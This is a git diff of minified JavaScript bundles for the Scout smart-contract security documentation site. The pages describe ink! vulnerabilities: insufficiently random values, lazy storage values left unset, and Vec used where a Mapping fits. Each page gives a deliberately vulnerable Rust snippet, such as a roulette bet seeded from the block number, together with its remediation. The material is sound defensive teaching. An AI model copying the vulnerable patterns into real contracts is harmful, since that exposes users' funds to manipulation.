a=Object.getOwnPropertySymbols(e);n&&(a=a.filter((function(n){return Object.getOwnPropertyDescriptor(e,n).enumerable}))),t.push.apply(t,a)}return t}function o(e){for(var n=1;n=0||(r[t]=e[t]);return r}(e,n);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,t)&&(r[t]=e[t])}return r}var c=a.createContext({}),p=function(e){var n=a.useContext(c),t=n;return e&&(t="function"==typeof e?e(n):o(o({},n),e)),t},u=function(e){var n=p(e.components);return a.createElement(c.Provider,{value:n},e.children)},s="mdxType",d={inlineCode:"code",wrapper:function(e){var n=e.children;return a.createElement(a.Fragment,{},n)}},m=a.forwardRef((function(e,n){var t=e.components,r=e.mdxType,i=e.originalType,c=e.parentName,u=l(e,["components","mdxType","originalType","parentName"]),s=p(t),m=r,b=s["".concat(c,".").concat(m)]||s[m]||d[m]||i;return t?a.createElement(b,o(o({ref:n},u),{},{components:t})):a.createElement(b,o({ref:n},u))}));function b(e,n){var t=arguments,r=n&&n.mdxType;if("string"==typeof e||r){var i=t.length,o=new Array(i);o[0]=m;var l={};for(var c in n)hasOwnProperty.call(n,c)&&(l[c]=n[c]);l.originalType=e,l[s]="string"==typeof e?e:r,o[1]=l;for(var p=2;p{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>o,default:()=>d,frontMatter:()=>i,metadata:()=>l,toc:()=>p});var a=t(2564),r=(t(9496),t(9613));const i={},o="Vec could be mapping",l={unversionedId:"vulnerabilities/vec-could-be-mapping",id:"vulnerabilities/vec-could-be-mapping",title:"Vec could be mapping",description:"Description",source:"@site/docs/vulnerabilities/31-vec-could-be-mapping.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/vec-could-be-mapping",permalink:"/scout/docs/vulnerabilities/vec-could-be-mapping",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/31-vec-could-be-mapping.md",tags:[],version:"current",sidebarPosition:31,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Non payable transferred value",permalink:"/scout/docs/vulnerabilities/non-payable-transferred-value"},next:{title:"Don't use invoke_contract_v1",permalink:"/scout/docs/vulnerabilities/dont-use-invoke-contract-v1"}},c={},p=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2}],u={toc:p},s="wrapper";function d(e){let{components:n,...t}=e;return(0,r.kt)(s,(0,a.Z)({},u,t,{components:n,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"vec-could-be-mapping"},"Vec could be mapping"),(0,r.kt)("h2",{id:"description"},"Description"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,r.kt)("inlineCode",{parentName:"li"},"Gas usage")),(0,r.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,r.kt)("inlineCode",{parentName:"li"},"Enhancement")),(0,r.kt)("li",{parentName:"ul"},"Detectors: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/vec-could-be-mapping/"},(0,r.kt)("inlineCode",{parentName:"a"},"vec-could-be-mapping"))),(0,r.kt)("li",{parentName:"ul"},"Test Cases: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/vec-could-be-mapping/vec-could-be-mapping-1"},(0,r.kt)("inlineCode",{parentName:"a"},"vec-could-be-mapping-1")))),(0,r.kt)("p",null,"When using a ",(0,r.kt)("inlineCode",{parentName:"p"},"Vec")," to store key-value pairs, it is possible to use a ",(0,r.kt)("inlineCode",{parentName:"p"},"Mapping")," instead. This will reduce the gas usage of the contract, as the ",(0,r.kt)("inlineCode",{parentName:"p"},"Vec")," will have to iterate over all elements to find the desired key-value pair."),(0,r.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,r.kt)("p",null,"Consider the following ink! contract, where you have a ",(0,r.kt)("inlineCode",{parentName:"p"},"balances")," vec of tuples of ",(0,r.kt)("inlineCode",{parentName:"p"},"(AccountId, Balance)"),". If you want to find the ",(0,r.kt)("inlineCode",{parentName:"p"},"Balance")," from a specific ",(0,r.kt)("inlineCode",{parentName:"p"},"AccountId"),", you will have to iterate over all elements of the ",(0,r.kt)("inlineCode",{parentName:"p"},"balances")," vec to find the desired ",(0,r.kt)("inlineCode",{parentName:"p"},"AccountId"),"."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"}," pub struct Contract {\n balances: Vec<(AccountId, Balance)>,\n }\n\n pub enum Error {\n NotFound,\n }\n\n impl Contract {\n /* --- snip --- */\n #[ink(message)]\n pub fn get_balance(&mut self, acc: AccountId) -> Result {\n self.balances\n .iter()\n .find(|(a, _)| *a == acc)\n .map(|(_, b)| *b)\n .ok_or(Error::NotFound)\n }\n /* --- snip --- */\n }\n\n")),(0,r.kt)("p",null,"Using ",(0,r.kt)("inlineCode",{parentName:"p"},".find(...)")," over an iterator of tuples consumes more gas than using a ",(0,r.kt)("inlineCode",{parentName:"p"},"Mapping")," to store the key-value pairs."),(0,r.kt)("h2",{id:"remediation"},"Remediation"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"}," pub struct VecCouldBeMapping {\n balances: Mapping,\n }\n\n pub enum Error {\n NotFound,\n }\n\n impl Contract {\n /* --- snip --- */\n #[ink(message)]\n pub fn get_balance(&mut self, acc: AccountId) -> Result {\n self.balances.get(&acc).ok_or(Error::NotFound)\n }\n /* --- snip --- */\n }\n\n")))}d.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/c8d22d86.d6cd3452.js b/assets/js/c8d22d86.96c965aa.js similarity index 87% rename from assets/js/c8d22d86.d6cd3452.js rename to assets/js/c8d22d86.96c965aa.js index 07f31f5d..0117d389 100644 --- a/assets/js/c8d22d86.d6cd3452.js +++ b/assets/js/c8d22d86.96c965aa.js @@ -1 +1 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[469],{9613:(e,t,n)=>{n.d(t,{Zo:()=>c,kt:()=>d});var r=n(9496);function i(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function l(e){for(var t=1;t=0||(i[n]=e[n]);return i}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}var s=r.createContext({}),u=function(e){var t=r.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):l(l({},t),e)),n},c=function(e){var t=u(e.components);return r.createElement(s.Provider,{value:t},e.children)},p="mdxType",m={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},f=r.forwardRef((function(e,t){var n=e.components,i=e.mdxType,a=e.originalType,s=e.parentName,c=o(e,["components","mdxType","originalType","parentName"]),p=u(n),f=i,d=p["".concat(s,".").concat(f)]||p[f]||m[f]||a;return n?r.createElement(d,l(l({ref:t},c),{},{components:n})):r.createElement(d,l({ref:t},c))}));function d(e,t){var n=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var a=n.length,l=new Array(a);l[0]=f;var o={};for(var s in t)hasOwnProperty.call(t,s)&&(o[s]=t[s]);o.originalType=e,o[p]="string"==typeof e?e:i,l[1]=o;for(var u=2;u{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>l,default:()=>m,frontMatter:()=>a,metadata:()=>o,toc:()=>u});var r=n(2564),i=(n(9496),n(9613));const a={},l="Insufficiently random values",o={unversionedId:"vulnerabilities/insufficiently-random-values",id:"vulnerabilities/insufficiently-random-values",title:"Insufficiently random values",description:"Description",source:"@site/docs/vulnerabilities/13-insufficiently-random-values.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/insufficiently-random-values",permalink:"/scout/docs/vulnerabilities/insufficiently-random-values",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/13-insufficiently-random-values.md",tags:[],version:"current",sidebarPosition:13,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Zero or test address",permalink:"/scout/docs/vulnerabilities/zero-or-test-address"},next:{title:"Unrestricted Transfer From",permalink:"/scout/docs/vulnerabilities/unrestricted-transfer-from"}},s={},u=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],c={toc:u},p="wrapper";function m(e){let{components:t,...n}=e;return(0,i.kt)(p,(0,r.Z)({},c,n,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"insufficiently-random-values"},"Insufficiently random values"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Block attributes")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Critical")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/insufficiently-random-values"},(0,i.kt)("inlineCode",{parentName:"a"},"insufficiently-random-values"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/insufficiently-random-values/insufficiently-random-values-1"},(0,i.kt)("inlineCode",{parentName:"a"},"insufficiently-random-values-1")))),(0,i.kt)("p",null,"Using block attributes like ",(0,i.kt)("inlineCode",{parentName:"p"},"block_timestamp")," or ",(0,i.kt)("inlineCode",{parentName:"p"},"block_number")," for random number generation in ink! Substrate smart contracts is not recommended due to the predictability of these values. Block attributes are publicly visible and deterministic, making it easy for malicious actors to anticipate their values and manipulate outcomes to their advantage. Furthermore, validators could potentially influence these attributes, further exacerbating the risk of manipulation. For truly random number generation, it's important to use a source that is both unpredictable and external to the blockchain environment, reducing the potential for malicious exploitation."),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Consider the following ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message, payable)]\npub fn bet_single(&mut self, number: u8) -> Result {\n let inputs = self.check_inputs(36, 0, 36, number);\n if inputs.is_err() {\n return Err(inputs.unwrap_err());\n }\n\n let pseudo_random: u8 = (self.env().block_number() % 37).try_into().unwrap();\n if pseudo_random == number {\n return self\n .env()\n .transfer(self.env().caller(), self.env().transferred_value() * 36)\n .map(|_| true)\n .map_err(|_e| Error::TransferFailed);\n }\n return Ok(false);\n}\n")),(0,i.kt)("p",null,"The vulnerability in this ",(0,i.kt)("inlineCode",{parentName:"p"},"bet_single")," function arises from the use of ",(0,i.kt)("inlineCode",{parentName:"p"},"self.env().block_number() % 37")," for pseudo-random number generation. Given the public visibility and predictability of block numbers, this method exposes the function to potential manipulation. "),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/insufficiently-random-values/insufficiently-random-values-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"Avoid using block attributes like ",(0,i.kt)("inlineCode",{parentName:"p"},"block_timestamp")," or ",(0,i.kt)("inlineCode",{parentName:"p"},"block_number")," for randomness generation, and consider using oracles instead."),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://dasp.co/#item-6"},"https://dasp.co/#item-6")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://blog.sigmaprime.io/solidity-security.html#SP-6"},"https://blog.sigmaprime.io/solidity-security.html#SP-6")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-120"},"SWC-120")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-116"},"SWC-116")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624f"},"Ethernaut: Coinflip")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#weak-PRNG"},"Slither: Weak PRNG")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#block-timestamp"},"Slither: Dangerous usage of block.timestamp"))))}m.isMDXComponent=!0}}]); \ No newline at end of file +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[469],{9613:(e,t,n)=>{n.d(t,{Zo:()=>c,kt:()=>f});var r=n(9496);function i(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function a(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function l(e){for(var t=1;t=0||(i[n]=e[n]);return i}(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}var s=r.createContext({}),u=function(e){var t=r.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):l(l({},t),e)),n},c=function(e){var t=u(e.components);return r.createElement(s.Provider,{value:t},e.children)},p="mdxType",m={inlineCode:"code",wrapper:function(e){var t=e.children;return r.createElement(r.Fragment,{},t)}},d=r.forwardRef((function(e,t){var n=e.components,i=e.mdxType,a=e.originalType,s=e.parentName,c=o(e,["components","mdxType","originalType","parentName"]),p=u(n),d=i,f=p["".concat(s,".").concat(d)]||p[d]||m[d]||a;return n?r.createElement(f,l(l({ref:t},c),{},{components:n})):r.createElement(f,l({ref:t},c))}));function f(e,t){var n=arguments,i=t&&t.mdxType;if("string"==typeof e||i){var a=n.length,l=new Array(a);l[0]=d;var o={};for(var s in t)hasOwnProperty.call(t,s)&&(o[s]=t[s]);o.originalType=e,o[p]="string"==typeof e?e:i,l[1]=o;for(var u=2;u{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>l,default:()=>m,frontMatter:()=>a,metadata:()=>o,toc:()=>u});var r=n(2564),i=(n(9496),n(9613));const a={},l="Insufficiently random values",o={unversionedId:"vulnerabilities/insufficiently-random-values",id:"vulnerabilities/insufficiently-random-values",title:"Insufficiently random values",description:"Description",source:"@site/docs/vulnerabilities/13-insufficiently-random-values.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/insufficiently-random-values",permalink:"/scout/docs/vulnerabilities/insufficiently-random-values",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/13-insufficiently-random-values.md",tags:[],version:"current",sidebarPosition:13,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Zero or test address",permalink:"/scout/docs/vulnerabilities/zero-or-test-address"},next:{title:"Unrestricted Transfer From",permalink:"/scout/docs/vulnerabilities/unrestricted-transfer-from"}},s={},u=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"References",id:"references",level:2}],c={toc:u},p="wrapper";function m(e){let{components:t,...n}=e;return(0,i.kt)(p,(0,r.Z)({},c,n,{components:t,mdxType:"MDXLayout"}),(0,i.kt)("h1",{id:"insufficiently-random-values"},"Insufficiently random values"),(0,i.kt)("h2",{id:"description"},"Description"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,i.kt)("inlineCode",{parentName:"li"},"Block attributes")),(0,i.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,i.kt)("inlineCode",{parentName:"li"},"Critical")),(0,i.kt)("li",{parentName:"ul"},"Detectors: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/detectors/insufficiently-random-values"},(0,i.kt)("inlineCode",{parentName:"a"},"insufficiently-random-values"))),(0,i.kt)("li",{parentName:"ul"},"Test Cases: ",(0,i.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/insufficiently-random-values/insufficiently-random-values-1"},(0,i.kt)("inlineCode",{parentName:"a"},"insufficiently-random-values-1")))),(0,i.kt)("p",null,"Using block attributes like ",(0,i.kt)("inlineCode",{parentName:"p"},"block_timestamp")," or ",(0,i.kt)("inlineCode",{parentName:"p"},"block_number")," for random number generation in ink! Substrate smart contracts is not recommended due to the predictability of these values. Block attributes are publicly visible and deterministic, making it easy for malicious actors to anticipate their values and manipulate outcomes to their advantage. Furthermore, validators could potentially influence these attributes, further exacerbating the risk of manipulation. For truly random number generation, it's important to use a source that is both unpredictable and external to the blockchain environment, reducing the potential for malicious exploitation."),(0,i.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,i.kt)("p",null,"Consider the following ",(0,i.kt)("inlineCode",{parentName:"p"},"ink!")," contract:"),(0,i.kt)("pre",null,(0,i.kt)("code",{parentName:"pre",className:"language-rust"},"#[ink(message, payable)]\npub fn bet_single(&mut self, number: u8) -> Result {\n let inputs = self.check_inputs(36, 0, 36, number);\n if inputs.is_err() {\n return Err(inputs.unwrap_err());\n }\n\n let pseudo_random: u8 = (self.env().block_number() % 37).try_into().unwrap();\n if pseudo_random == number {\n return self\n .env()\n .transfer(self.env().caller(), self.env().transferred_value() * 36)\n .map(|_| true)\n .map_err(|_e| Error::TransferFailed);\n }\n return Ok(false);\n}\n")),(0,i.kt)("p",null,"The vulnerability in this ",(0,i.kt)("inlineCode",{parentName:"p"},"bet_single")," function arises from the use of ",(0,i.kt)("inlineCode",{parentName:"p"},"self.env().block_number() % 37")," for pseudo-random number generation. Given the public visibility and predictability of block numbers, this method exposes the function to potential manipulation. "),(0,i.kt)("p",null,"The vulnerable code example can be found ",(0,i.kt)("a",{parentName:"p",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/insufficiently-random-values/insufficiently-random-values-1/vulnerable-example"},(0,i.kt)("inlineCode",{parentName:"a"},"here")),"."),(0,i.kt)("h2",{id:"remediation"},"Remediation"),(0,i.kt)("p",null,"Avoid using block attributes like ",(0,i.kt)("inlineCode",{parentName:"p"},"block_timestamp")," or ",(0,i.kt)("inlineCode",{parentName:"p"},"block_number")," for randomness generation, and consider using oracles instead."),(0,i.kt)("h2",{id:"references"},"References"),(0,i.kt)("ul",null,(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://dasp.co/#item-6"},"https://dasp.co/#item-6")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://blog.sigmaprime.io/solidity-security.html#SP-6"},"https://blog.sigmaprime.io/solidity-security.html#SP-6")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-120"},"SWC-120")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://swcregistry.io/docs/SWC-116"},"SWC-116")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://github.com/OpenZeppelin/ethernaut/blob/master/contracts/src/levels/CoinFlip.sol"},"Ethernaut: Coinflip")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#weak-PRNG"},"Slither: Weak PRNG")),(0,i.kt)("li",{parentName:"ul"},(0,i.kt)("a",{parentName:"li",href:"https://github.com/crytic/slither/wiki/Detector-Documentation#block-timestamp"},"Slither: Dangerous usage of block.timestamp"))))}m.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/ca3c95aa.74dc6092.js b/assets/js/ca3c95aa.74dc6092.js deleted file mode 100644 index 155ce935..00000000 --- a/assets/js/ca3c95aa.74dc6092.js +++ /dev/null @@ -1 +0,0 @@ -"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[4915],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>v});var a=n(9496);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function l(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var s=a.createContext({}),u=function(e){var t=a.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):l(l({},t),e)),n},p=function(e){var t=u(e.components);return a.createElement(s.Provider,{value:t},e.children)},c="mdxType",m={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},d=a.forwardRef((function(e,t){var n=e.components,r=e.mdxType,i=e.originalType,s=e.parentName,p=o(e,["components","mdxType","originalType","parentName"]),c=u(n),d=r,v=c["".concat(s,".").concat(d)]||c[d]||m[d]||i;return n?a.createElement(v,l(l({ref:t},p),{},{components:n})):a.createElement(v,l({ref:t},p))}));function v(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var i=n.length,l=new Array(i);l[0]=d;var o={};for(var s in t)hasOwnProperty.call(t,s)&&(o[s]=t[s]);o.originalType=e,o[c]="string"==typeof e?e:r,l[1]=o;for(var u=2;u{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>l,default:()=>m,frontMatter:()=>i,metadata:()=>o,toc:()=>u});var a=n(2564),r=(n(9496),n(9613));const i={},l="Lazy values not set",o={unversionedId:"vulnerabilities/lazy-values-not-set",id:"vulnerabilities/lazy-values-not-set",title:"Lazy values not set",description:"Description",source:"@site/docs/vulnerabilities/28-lazy-values-not-set.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/lazy-values-not-set",permalink:"/scout/docs/vulnerabilities/lazy-values-not-set",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/28-lazy-values-not-set.md",tags:[],version:"current",sidebarPosition:28,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Lazy storage on delegate",permalink:"/scout/docs/vulnerabilities/lazy-delegate"},next:{title:"Don't use instantiate_contract_v1",permalink:"/scout/docs/vulnerabilities/dont-use-instantiate-contract-v1"}},s={},u=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"Known Issues",id:"known-issues",level:2}],p={toc:u},c="wrapper";function m(e){let{components:t,...n}=e;return(0,r.kt)(c,(0,a.Z)({},p,n,{components:t,mdxType:"MDXLayout"}),(0,r.kt)("h1",{id:"lazy-values-not-set"},"Lazy values not set"),(0,r.kt)("h2",{id:"description"},"Description"),(0,r.kt)("ul",null,(0,r.kt)("li",{parentName:"ul"},"Vulnerability Category: ",(0,r.kt)("inlineCode",{parentName:"li"},"Best Practices")),(0,r.kt)("li",{parentName:"ul"},"Vulnerability Severity: ",(0,r.kt)("inlineCode",{parentName:"li"},"Critical")),(0,r.kt)("li",{parentName:"ul"},"Detectors: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/lazy-values-not-set/"},(0,r.kt)("inlineCode",{parentName:"a"},"lazy-values-not-set"))),(0,r.kt)("li",{parentName:"ul"},"Test Cases: ",(0,r.kt)("a",{parentName:"li",href:"https://github.com/CoinFabrik/scout/tree/main/test-cases/lazy-values-not-set/lazy-values-not-set-1"},(0,r.kt)("inlineCode",{parentName:"a"},"lazy-values-not-set-1")))),(0,r.kt)("h2",{id:"exploit-scenario"},"Exploit Scenario"),(0,r.kt)("p",null,"Consider the following contract:"),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(storage)]\n pub struct Contract {\n mapping: Mapping,\n }\n impl Contract {\n /* --- snip --- */\n #[ink(message)]\n pub fn sum(&mut self, value: u64) -> Result<(), Error> {\n let key = self.env().caller();\n let mut _val = self.mapping.get(key).unwrap_or_default();\n _val += value;\n Ok(())\n }\n /* --- snip --- */\n }\n")),(0,r.kt)("p",null,"In this case, when you ",(0,r.kt)("inlineCode",{parentName:"p"},".get(...)")," a value from a ",(0,r.kt)("inlineCode",{parentName:"p"},"Lazy")," storage field, you ",(0,r.kt)("em",{parentName:"p"},"probably")," want to mutate it. The values are not automatically flushed to storage, so you need to ",(0,r.kt)("inlineCode",{parentName:"p"},".set(...)")," it."),(0,r.kt)("h2",{id:"remediation"},"Remediation"),(0,r.kt)("p",null,"Use the ",(0,r.kt)("inlineCode",{parentName:"p"},".set(...)")," or ",(0,r.kt)("inlineCode",{parentName:"p"},".insert(...)")," method after using ",(0,r.kt)("inlineCode",{parentName:"p"},".get(...)")," to flush the new value to storage."),(0,r.kt)("pre",null,(0,r.kt)("code",{parentName:"pre",className:"language-rust"}," #[ink(storage)]\n pub struct Contract {\n mapping: Mapping,\n }\n impl Contract {\n /* --- snip --- */\n #[ink(message)]\n pub fn sum(&mut self, value: u64) -> Result<(), Error> {\n let key = self.env().caller();\n let mut _val = self.mapping.get(key).unwrap_or_default();\n _val += value;\n self.mapping.insert(key, value);\n Ok(())\n }\n /* --- snip --- */\n }\n")),(0,r.kt)("h2",{id:"known-issues"},"Known Issues"),(0,r.kt)("p",null,"If you have a ",(0,r.kt)("inlineCode",{parentName:"p"},".get(...)")," function that you don't mutate (e.g., used as a const value), this detector triggers, if you want to ignore the lint you could add ",(0,r.kt)("inlineCode",{parentName:"p"},"#[allow(lazy_values_not_set)]")," immediately before the function definition."))}m.isMDXComponent=!0}}]); \ No newline at end of file diff --git a/assets/js/ca3c95aa.92b0f01c.js b/assets/js/ca3c95aa.92b0f01c.js new file mode 100644 index 00000000..6a867c42 --- /dev/null +++ b/assets/js/ca3c95aa.92b0f01c.js @@ -0,0 +1 @@ +"use strict";(self.webpackChunkscout=self.webpackChunkscout||[]).push([[4915],{9613:(e,t,n)=>{n.d(t,{Zo:()=>p,kt:()=>v});var a=n(9496);function r(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function i(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function l(e){for(var t=1;t=0||(r[n]=e[n]);return r}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(a=0;a=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(r[n]=e[n])}return r}var s=a.createContext({}),u=function(e){var t=a.useContext(s),n=t;return e&&(n="function"==typeof e?e(t):l(l({},t),e)),n},p=function(e){var t=u(e.components);return a.createElement(s.Provider,{value:t},e.children)},c="mdxType",m={inlineCode:"code",wrapper:function(e){var t=e.children;return a.createElement(a.Fragment,{},t)}},d=a.forwardRef((function(e,t){var n=e.components,r=e.mdxType,i=e.originalType,s=e.parentName,p=o(e,["components","mdxType","originalType","parentName"]),c=u(n),d=r,v=c["".concat(s,".").concat(d)]||c[d]||m[d]||i;return n?a.createElement(v,l(l({ref:t},p),{},{components:n})):a.createElement(v,l({ref:t},p))}));function v(e,t){var n=arguments,r=t&&t.mdxType;if("string"==typeof e||r){var i=n.length,l=new Array(i);l[0]=d;var o={};for(var s in t)hasOwnProperty.call(t,s)&&(o[s]=t[s]);o.originalType=e,o[c]="string"==typeof e?e:r,l[1]=o;for(var u=2;u{n.r(t),n.d(t,{assets:()=>s,contentTitle:()=>l,default:()=>m,frontMatter:()=>i,metadata:()=>o,toc:()=>u});var a=n(2564),r=(n(9496),n(9613));const i={},l="Lazy values not set",o={unversionedId:"vulnerabilities/lazy-values-not-set",id:"vulnerabilities/lazy-values-not-set",title:"Lazy values not set",description:"Description",source:"@site/docs/vulnerabilities/28-lazy-values-not-set.md",sourceDirName:"vulnerabilities",slug:"/vulnerabilities/lazy-values-not-set",permalink:"/scout/docs/vulnerabilities/lazy-values-not-set",draft:!1,editUrl:"https://github.com/CoinFabrik/scout/docs/vulnerabilities/28-lazy-values-not-set.md",tags:[],version:"current",sidebarPosition:28,frontMatter:{},sidebar:"docsSidebar",previous:{title:"Warning sr25519_verify",permalink:"/scout/docs/vulnerabilities/warning-sr25519-verify"},next:{title:"Avoid autokey upgradable",permalink:"/scout/docs/vulnerabilities/avoid-autokey-upgradable"}},s={},u=[{value:"Description",id:"description",level:2},{value:"Exploit Scenario",id:"exploit-scenario",level:2},{value:"Remediation",id:"remediation",level:2},{value:"Known Issues",id:"known-issues",level:2}],p={toc:u},c="wrapper";function 